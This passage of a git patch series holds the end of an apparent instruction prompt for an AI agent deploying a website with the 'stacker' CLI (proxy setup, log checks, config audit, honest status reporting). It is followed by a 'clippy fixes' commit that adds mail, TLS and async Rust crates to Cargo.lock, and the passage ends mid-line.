--deployment + --domain APP_DOMAIN --port --ssl --json` + - Critical caveats: + - for Nginx Proxy Manager inside the Docker network, the internal host is +`http://nginx-proxy-manager:81` + - `127.0.0.1` is wrong for remote project-scoped container-to-container traffic + - first-run NPM setup may still require manual completion + - if provider credentials or setup are incomplete, stop and ask only then + - if SSL fails, retry once with `--no-ssl` to isolate certificate issues + - if HTTP route succeeds but SSL is pending or failed, document that as partial + success rather than recreating blindly + - If `configure-proxy` appears to partially succeed, inspect existing runtime and + proxy state before trying again. + + 12. Inspect runtime state and logs + - After website deploy and proxy setup, verify operability with documented +commands: + - `stacker logs --service --tail 100` + - `stacker agent logs --lines 100` + - `stacker agent status` + - `stacker agent health` + - Use MCP inspection and log tools if available for extra read-only diagnosis. + - The website deploy is only considered successful when: + - the app is reachable + - DNS is correct + - proxy state is understood + - logs and runtime state are inspectable through Stacker + + Optional or future steps — do NOT block website deploy on these + + A. Optional service-extension examples + - After the website deploy is stable, you may demonstrate conservative extension +flows such as: + - `stacker service add redis` + - `stacker config validate` + - `stacker agent deploy-app --app redis --image redis --tag 7` + - `stacker agent restart redis` + - Or a project-scoped SMTP example: + - `stacker service add smtp` + - `stacker config validate` + - `stacker service deploy smtp --deployment ` + - When documenting service-to-service traffic, use project-scoped DNS names such +as: + - `smtp:25` + - Never use `127.0.0.1` for remote container-to-container traffic unless the +runtime is explicitly host-networked. + + B. Optional or future pipe story + - The pipe story is optional and must be clearly separated from the required +website deploy. + - If you include it, do it as a future or next-step section: + 1. prove discovery locally first + 2. use `stacker target local` + 3. use `stacker pipe scan ...` + 4. only create, deploy, or activate a pipe if discovery actually finds usable +endpoints or forms + 5. if discovery is empty, document the gap and stop instead of faking a pipe +flow + - Do NOT let missing pipe support block the primary website deployment. + + Final config audit + - Before finishing, run and record: + - `stacker config inventory --env production --remote` + - `stacker config diff --from local --to production --remote` + - `stacker config check --env production --strict --remote` + - Secrets must remain redacted. + + Required deliverables + You must leave behind: + 1. an updated or newly created deployment transcript markdown file in the target +repo + 2. a concise final status summary covering: + - repo verified against `GITHUB_URL` + - local verification result + - Stacker config and init result + - image publish result + - cloud deploy result + - server ID, deployment hash, and IP if available + - firewall state + - DNS result + - proxy result + - agent result + - logs and runtime inspection result + - optional or future items not yet completed + - exact blockers requiring user action, if any + + Do NOT fabricate success. If any step is blocked, stop at that step, explain why, + and ask only for the missing input needed right then. From 9c9fca801dcac16ede8d8e0d49646fb5308b6457 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sat, 30 May 2026 16:47:06 +0300 Subject: [PATCH 10/23] clippy fixes --- Cargo.lock | 712 ++++++++++++++++++++++++++++++++++++---- src/commands/stacker.rs | 1 + src/connectors/npm.rs | 4 +- 3 files changed, 651 insertions(+), 66 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 47096e0..4aa2128 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,12 @@ # It is not intended for manual editing. version = 4 +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + [[package]] name = "aes" version = "0.8.4" @@ -32,7 +38,7 @@ dependencies = [ "amq-protocol-types", "amq-protocol-uri", "cookie-factory", - "nom", + "nom 7.1.3", "serde", ] @@ -54,7 +60,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bf99351d92a161c61ec6ecb213bc7057f5b837dd4e64ba6cb6491358efd770c4" dependencies = [ "cookie-factory", - "nom", + "nom 7.1.3", "serde", "serde_json", ] @@ -144,10 +150,10 @@ dependencies = [ "asn1-rs-derive", "asn1-rs-impl", "displaydoc", - "nom", + "nom 7.1.3", "num-traits", "rusticata-macros", - "thiserror", + "thiserror 2.0.17", "time", ] @@ -159,7 +165,7 @@ checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", "synstructure", ] @@ -171,7 +177,7 @@ checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -199,6 +205,27 @@ dependencies = [ "wait-timeout", ] +[[package]] +name = "async-attributes" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "async-channel" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +dependencies = [ + "concurrent-queue", + "event-listener 2.5.3", + "futures-core", +] + [[package]] name = "async-channel" version = "2.5.0" @@ -211,6 +238,18 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "async-compression" +version = "0.4.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79b3f8a79cccc2898f31920fc69f304859b3bd567490f75ebf51ae1c792a9ac" +dependencies = [ + "compression-codecs", + "compression-core", + "futures-io", + "pin-project-lite", +] + [[package]] name = "async-executor" version = "1.14.0" @@ -225,13 +264,28 @@ dependencies = [ "slab", ] +[[package]] +name = "async-global-executor" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-io 2.6.0", + "async-lock 3.4.2", + "blocking", + "futures-lite 2.6.1", + "once_cell", +] + [[package]] name = "async-global-executor" version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13f937e26114b93193065fd44f507aa2e9169ad0cdabbb996920b1fe1ddea7ba" dependencies = [ - "async-channel", + "async-channel 2.5.0", "async-executor", "async-io 2.6.0", "async-lock 3.4.2", @@ -245,11 +299,34 @@ version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9af57045d58eeb1f7060e7025a1631cbc6399e0a1d10ad6735b3d0ea7f8346ce" dependencies = [ - "async-global-executor", + "async-global-executor 3.1.0", "async-trait", "executor-trait", ] +[[package]] +name = "async-imap" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a78dceaba06f029d8f4d7df20addd4b7370a30206e3926267ecda2915b0f3f66" +dependencies = [ + "async-channel 2.5.0", + "async-compression", + "async-std", + "base64 0.22.1", + "bytes", + "chrono", + "futures", + "imap-proto", + "log", + "nom 7.1.3", + "pin-project", + "pin-utils", + "self_cell", + "stop-token", + "thiserror 1.0.69", +] + [[package]] name = "async-io" version = "1.13.0" @@ -308,6 +385,52 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "async-native-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9343dc5acf07e79ff82d0c37899f079db3534d99f189a1837c8e549c99405bec" +dependencies = [ + "futures-util", + "native-tls", + "thiserror 1.0.69", + "url", +] + +[[package]] +name = "async-pop" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70d4a64316619f24aff5ef0b2c67986bfa2e414fa5aa3f4c86feda8f8f6f326f" +dependencies = [ + "async-native-tls", + "async-std", + "async-trait", + "base64 0.21.7", + "bytes", + "futures", + "log", + "nom 7.1.3", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel 2.5.0", + "async-io 2.6.0", + "async-lock 3.4.2", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener 5.4.1", + "futures-lite 2.6.1", + "rustix 1.1.2", +] + [[package]] name = "async-reactor-trait" version = "1.1.0" @@ -320,6 +443,52 @@ dependencies = [ "reactor-trait", ] +[[package]] +name = "async-signal" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485" +dependencies = [ + "async-io 2.6.0", + "async-lock 3.4.2", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 1.1.2", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-std" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c8e079a4ab67ae52b7403632e4618815d6db36d2a010cfe41b02c1b1578f93b" +dependencies = [ + "async-attributes", + "async-channel 1.9.0", + "async-global-executor 2.4.1", + "async-io 2.6.0", + "async-lock 3.4.2", + "async-process", + "crossbeam-utils", + "futures-channel", + "futures-core", + "futures-io", + "futures-lite 2.6.1", + "gloo-timers", + "kv-log-macro", + "log", + "memchr", + "once_cell", + "pin-project-lite", + "pin-utils", + "slab", + "wasm-bindgen-futures", +] + [[package]] name = "async-stream" version = "0.3.6" @@ -339,7 +508,7 @@ checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -356,7 +525,7 @@ checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -405,7 +574,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5b098575ebe77cb6d14fc7f32749631a6e44edbef6b796f89b020e99ba20d425" dependencies = [ "axum-core 0.5.5", - "base64", + "base64 0.22.1", "bytes", "form_urlencoded", "futures-util", @@ -473,6 +642,12 @@ dependencies = [ "tracing", ] +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + [[package]] name = "base64" version = "0.22.1" @@ -493,9 +668,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.10.0" +version = "2.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" [[package]] name = "block-buffer" @@ -521,7 +696,7 @@ version = "1.6.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" dependencies = [ - "async-channel", + "async-channel 2.5.0", "async-task", "futures-io", "futures-lite 2.6.1", @@ -534,7 +709,7 @@ version = "0.19.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87a52479c9237eb04047ddb94788c41ca0d26eaff8b697ecfbb4c32f7fdc3b1b" dependencies = [ - "base64", + "base64 0.22.1", "bollard-stubs", "bytes", "chrono", @@ -554,7 +729,7 @@ dependencies = [ "serde_json", "serde_repr", "serde_urlencoded", - "thiserror", + "thiserror 2.0.17", "tokio", "tokio-util", "tower-service", @@ -629,6 +804,16 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" +[[package]] +name = "charset" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f927b07c74ba84c7e5fe4db2baeb3e996ab2688992e39ac68ce3220a677c7e" +dependencies = [ + "base64 0.22.1", + "encoding_rs", +] + [[package]] name = "chrono" version = "0.4.42" @@ -706,7 +891,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -742,6 +927,22 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "compression-codecs" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce2548391e9c1929c21bf6aa2680af86fe4c1b33e6cea9ac1cfeec0bd11218cf" +dependencies = [ + "compression-core", + "flate2", +] + +[[package]] +name = "compression-core" +version = "0.4.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc14f565cf027a105f7a44ccf9e5b424348421a1d8952a8fc9d499d313107789" + [[package]] name = "concurrent-queue" version = "2.5.0" @@ -773,6 +974,16 @@ dependencies = [ "libc", ] +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "core-foundation-sys" version = "0.8.7" @@ -788,6 +999,15 @@ dependencies = [ "libc", ] +[[package]] +name = "crc32fast" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +dependencies = [ + "cfg-if", +] + [[package]] name = "crossbeam-deque" version = "0.8.6" @@ -859,7 +1079,7 @@ checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6" dependencies = [ "asn1-rs", "displaydoc", - "nom", + "nom 7.1.3", "num-bigint", "num-traits", "rusticata-macros", @@ -873,7 +1093,7 @@ checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -926,7 +1146,7 @@ checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -953,6 +1173,31 @@ version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" +[[package]] +name = "email-encoding" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9298e6504d9b9e780ed3f7dfd43a61be8cd0e09eb07f7706a945b0072b6670b6" +dependencies = [ + "base64 0.22.1", + "memchr", +] + +[[package]] +name = "email_address" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449" + +[[package]] +name = "encoding_rs" +version = "0.8.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" +dependencies = [ + "cfg-if", +] + [[package]] name = "equivalent" version = "1.0.2" @@ -1038,6 +1283,16 @@ version = "0.4.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe" +[[package]] +name = "flate2" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + [[package]] name = "flume" version = "0.11.1" @@ -1055,6 +1310,21 @@ version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + [[package]] name = "form_urlencoded" version = "1.2.2" @@ -1064,6 +1334,21 @@ dependencies = [ "percent-encoding", ] +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + [[package]] name = "futures-channel" version = "0.3.31" @@ -1071,6 +1356,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" dependencies = [ "futures-core", + "futures-sink", ] [[package]] @@ -1079,6 +1365,17 @@ version = "0.3.31" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + [[package]] name = "futures-io" version = "0.3.32" @@ -1121,7 +1418,7 @@ checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -1142,10 +1439,13 @@ version = "0.3.31" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" dependencies = [ + "futures-channel", "futures-core", + "futures-io", "futures-macro", "futures-sink", "futures-task", + "memchr", "pin-project-lite", "pin-utils", "slab", @@ -1207,11 +1507,23 @@ version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bf760ebf69878d9fd8f110c89703d90ce35095324d1f1edcb595c63945ee757" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.1", "ignore", "walkdir", ] +[[package]] +name = "gloo-timers" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", +] + [[package]] name = "h2" version = "0.4.12" @@ -1410,7 +1722,7 @@ version = "0.1.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "727805d60e7938b76b826a6ef209eb70eaa1812794f9424d4a4e2d740662df5f" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "futures-channel", "futures-core", @@ -1585,6 +1897,15 @@ dependencies = [ "winapi-util", ] +[[package]] +name = "imap-proto" +version = "0.16.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25f6af35c6a517aea5c72314abe90134980d2ae6a763809b50c208b3e429d71f" +dependencies = [ + "nom 7.1.3", +] + [[package]] name = "indexmap" version = "1.9.3" @@ -1685,6 +2006,15 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "kv-log-macro" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" +dependencies = [ + "log", +] + [[package]] name = "lapin" version = "2.5.5" @@ -1713,6 +2043,33 @@ version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +[[package]] +name = "lettre" +version = "0.11.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0da65617f6cb926332d039cb578aad56178da86e128db6a1b09f4c94fa5b3349" +dependencies = [ + "async-trait", + "base64 0.22.1", + "email-encoding", + "email_address", + "fastrand 2.3.0", + "futures-io", + "futures-util", + "httpdate", + "idna", + "mime", + "nom 8.0.0", + "percent-encoding", + "quoted_printable", + "rustls", + "socket2 0.6.1", + "tokio", + "tokio-rustls", + "url", + "webpki-roots 1.0.4", +] + [[package]] name = "libc" version = "0.2.178" @@ -1757,6 +2114,9 @@ name = "log" version = "0.4.29" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" +dependencies = [ + "value-bag", +] [[package]] name = "lru-slab" @@ -1764,6 +2124,17 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" +[[package]] +name = "mailparse" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60819a97ddcb831a5614eb3b0174f3620e793e97e09195a395bfa948fd68ed2f" +dependencies = [ + "charset", + "data-encoding", + "quoted_printable", +] + [[package]] name = "matchers" version = "0.2.0" @@ -1813,6 +2184,16 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + [[package]] name = "mio" version = "1.1.1" @@ -1855,13 +2236,30 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" +[[package]] +name = "native-tls" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "465500e14ea162429d264d44189adc38b199b62b1c21eea9f69e4b73cb03bbf2" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe 0.2.1", + "openssl-sys", + "schannel", + "security-framework 3.7.0", + "security-framework-sys", + "tempfile", +] + [[package]] name = "nix" version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.1", "cfg-if", "cfg_aliases", "libc", @@ -1877,6 +2275,15 @@ dependencies = [ "minimal-lexical", ] +[[package]] +name = "nom" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df9761775871bdef83bee530e60050f7e54b1105350d6884eb0fb4f46c2f9405" +dependencies = [ + "memchr", +] + [[package]] name = "ntapi" version = "0.4.1" @@ -1950,12 +2357,65 @@ version = "1.70.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" +[[package]] +name = "openssl" +version = "0.10.80" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a45fa2aa886c42762255da344f0a0d313e254066c46aad76f300c3d3da62d967" +dependencies = [ + "bitflags 2.11.1", + "cfg-if", + "foreign-types", + "libc", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.111", +] + [[package]] name = "openssl-probe" version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" +[[package]] +name = "openssl-probe" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" + +[[package]] +name = "openssl-src" +version = "300.6.0+3.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8e8cbfd3a4a8c8f089147fd7aaa33cf8c7450c4d09f8f80698a0cf093abeff4" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.116" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28a22dc7140cda5f096e5e7724a6962ca81a7f8bfd2979f9b18c11af56318c4" +dependencies = [ + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + [[package]] name = "p12-keystore" version = "0.1.5" @@ -1974,7 +2434,7 @@ dependencies = [ "rc2", "sha1", "sha2", - "thiserror", + "thiserror 2.0.17", "x509-parser", ] @@ -2071,7 +2531,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -2149,7 +2609,7 @@ checksum = "d9b20ed30f105399776b9c883e68e536ef602a16ae6f596d2c473591d6ad64c6" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -2176,6 +2636,35 @@ dependencies = [ "tracing", ] +[[package]] +name = "pipe-adapter-mail" +version = "0.1.0" +dependencies = [ + "async-imap", + "async-native-tls", + "async-pop", + "async-std", + "async-trait", + "futures-util", + "lettre", + "mailparse", + "pipe-adapter-sdk", + "serde", + "serde_json", + "thiserror 1.0.69", + "tokio", +] + +[[package]] +name = "pipe-adapter-sdk" +version = "0.1.0" +dependencies = [ + "async-trait", + "serde", + "serde_json", + "thiserror 1.0.69", +] + [[package]] name = "piper" version = "0.2.5" @@ -2217,6 +2706,12 @@ dependencies = [ "spki", ] +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + [[package]] name = "polling" version = "2.8.0" @@ -2305,7 +2800,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" dependencies = [ "proc-macro2", - "syn", + "syn 2.0.111", ] [[package]] @@ -2343,7 +2838,7 @@ dependencies = [ "prost", "prost-types", "regex", - "syn", + "syn 2.0.111", "tempfile", ] @@ -2357,7 +2852,7 @@ dependencies = [ "itertools", "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -2447,7 +2942,7 @@ dependencies = [ "rustc-hash", "rustls", "socket2 0.6.1", - "thiserror", + "thiserror 2.0.17", "tokio", "tracing", "web-time", @@ -2468,7 +2963,7 @@ dependencies = [ "rustls", "rustls-pki-types", "slab", - "thiserror", + "thiserror 2.0.17", "tinyvec", "tracing", "web-time", @@ -2497,6 +2992,12 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "quoted_printable" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "478e0585659a122aa407eb7e3c0e1fa51b1d8a870038bd29f0cf4a8551eea972" + [[package]] name = "r-efi" version = "5.3.0" @@ -2608,7 +3109,7 @@ version = "0.5.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.1", ] [[package]] @@ -2628,7 +3129,7 @@ checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -2666,7 +3167,7 @@ version = "0.12.26" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3b4c14b2d9afca6a60277086b0cc6a6ae0b568f6f7916c943a8cdc79f8be240f" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "futures-core", "http", @@ -2743,7 +3244,7 @@ version = "4.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632" dependencies = [ - "nom", + "nom 7.1.3", ] [[package]] @@ -2766,7 +3267,7 @@ version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.1", "errno", "libc", "linux-raw-sys 0.11.0", @@ -2807,11 +3308,11 @@ version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5bfb394eeed242e909609f56089eecfe5fda225042e8b171791b9c95f5931e5" dependencies = [ - "openssl-probe", + "openssl-probe 0.1.6", "rustls-pemfile", "rustls-pki-types", "schannel", - "security-framework", + "security-framework 2.11.1", ] [[package]] @@ -2930,8 +3431,21 @@ version = "2.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" dependencies = [ - "bitflags 2.10.0", - "core-foundation", + "bitflags 2.11.1", + "core-foundation 0.9.4", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags 2.11.1", + "core-foundation 0.10.1", "core-foundation-sys", "libc", "security-framework-sys", @@ -2947,6 +3461,12 @@ dependencies = [ "libc", ] +[[package]] +name = "self_cell" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b12e76d157a900eb52e81bc6e9f3069344290341720e9178cde2407113ac8d89" + [[package]] name = "semver" version = "1.0.27" @@ -2980,7 +3500,7 @@ checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.111", ] [[package]] @@ -3015,7 +3535,7 @@ checksum = 